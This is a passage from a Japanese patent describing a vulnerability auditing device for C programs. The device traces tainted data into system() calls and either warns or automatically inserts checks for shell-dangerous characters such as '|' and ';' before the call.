また、本実施の形態においては、脆弱性監査装置が警告メッセージを出力することにより、ユーザが警告メッセージに従ってプログラムの修正を行うことを目的としたが、警告メッセージにプログラム修正方法を含めても良いし、新たに備える修正出力部がプログラム修正方法に従って自動的にプログラムを修正しても良い。図９は、本発明に係る脆弱性監査装置の構成の別の一例を示すブロック図である。図９において、図４と同一符号は図４に示された対象と同一又は相当物を示しており、ここでの説明を省略する。また、図４と比較すると図９の装置は、警告出力部４１の代わりに修正出力部５１を備えることにより、自動的にプログラムを修正する。
【００６５】
このようにプログラム修正方法を得る場合、判定ルールにおいて、更に脆弱性に対するプログラム修正方法を予め定義しておく。例えば、まず、ｓｙｓｔｅｍ関数の判定ルールにおいてフィールドを１つ追加し、以下のようなプログラム修正方法の種類を記述する。
【００６６】
ｓｙｓｔｅｍ：ａｌｅｒｔ＿ｉｆ  ｐａｒａｍ１＝ｔａｉｎｔ，ｃｏｒｒｅｃｔ＝ｍｅｔｈｏｄ３
【００６７】
更に、判定ルールにおいてプログラム修正方法ｍｅｔｈｏｄ３の内容を予め定義しておく。図１０は、本発明に係るプログラム修正方法の内容の一例を示すソースコードである。このプログラム修正方法ｍｅｔｈｏｄ３は、ｓｙｓｔｅｍ関数を使用する直前に、その引数として使用される文字列変数をチェックするロジックを挿入するものである。このロジックは文字列変数において、‘｜’や‘；’等、シェルに引き渡されると危険である文字が含まれているか否かをチェックするものである。ここで、Ｉｎｖａｌｉｄ＿Ｓｔｒｉｎｇ＿Ｅｒｒｏｒ（ｘ）は、別の箇所で定義される関数であり、エラーを出力してプログラムを終了させるものである。
【００６８】
また、本実施の形態においては、Ｃ言語を対象としたが、他のプログラム言語についても適用可能である。
【００６９】
更に、脆弱性監査装置を構成するコンピュータに上述した各ステップを実行させるプログラムを、脆弱性監査プログラムとして提供することができる。上述したプログラムは、コンピュータにより読取り可能な記録媒体に記憶させることによって、脆弱性監査装置を構成するコンピュータに実行させることが可能となる。ここで、上記コンピュータにより読取り可能な記録媒体としては、ＣＤ−ＲＯＭやフレキシブルディスク、ＤＶＤディスク、光磁気ディスク、ＩＣカード等の可搬型記憶媒体や、コンピュータプログラムを保持するデータベース、或いは、他のコンピュータ並びにそのデータベースや、更に回線上の伝送媒体をも含むものである。
【産業上の利用可能性】
【００７０】
本発明によれば、脆弱なライブラリが適切に用いられていない箇所のみを検出することにより、脆弱なライブラリを全て検出する従来の方法に比べ、脆弱性検出の精度が大幅に向上する。
【符号の説明】
【００７１】
１１  プログラム入力部、２１  変数管理部、２２  判定ルール管理部、３１  処理フロー追跡部、３２  脆弱性判定部、４１  警告メッセージ出力部、５１  修正出力部。
【図１】
2011150716.tif 000003
【図２】
2011150716.tif 000004
【図３】
2011150716.tif 000005
【図４】
2011150716.tif 000006
【図５】
2011150716.tif 000007
【図６】
2011150716.tif 000008
【図７】
2011150716.tif 000009
【図８】
2011150716.tif 000010
【図９】
2011150716.tif 000011
【図１０】
2011150716.tif 000012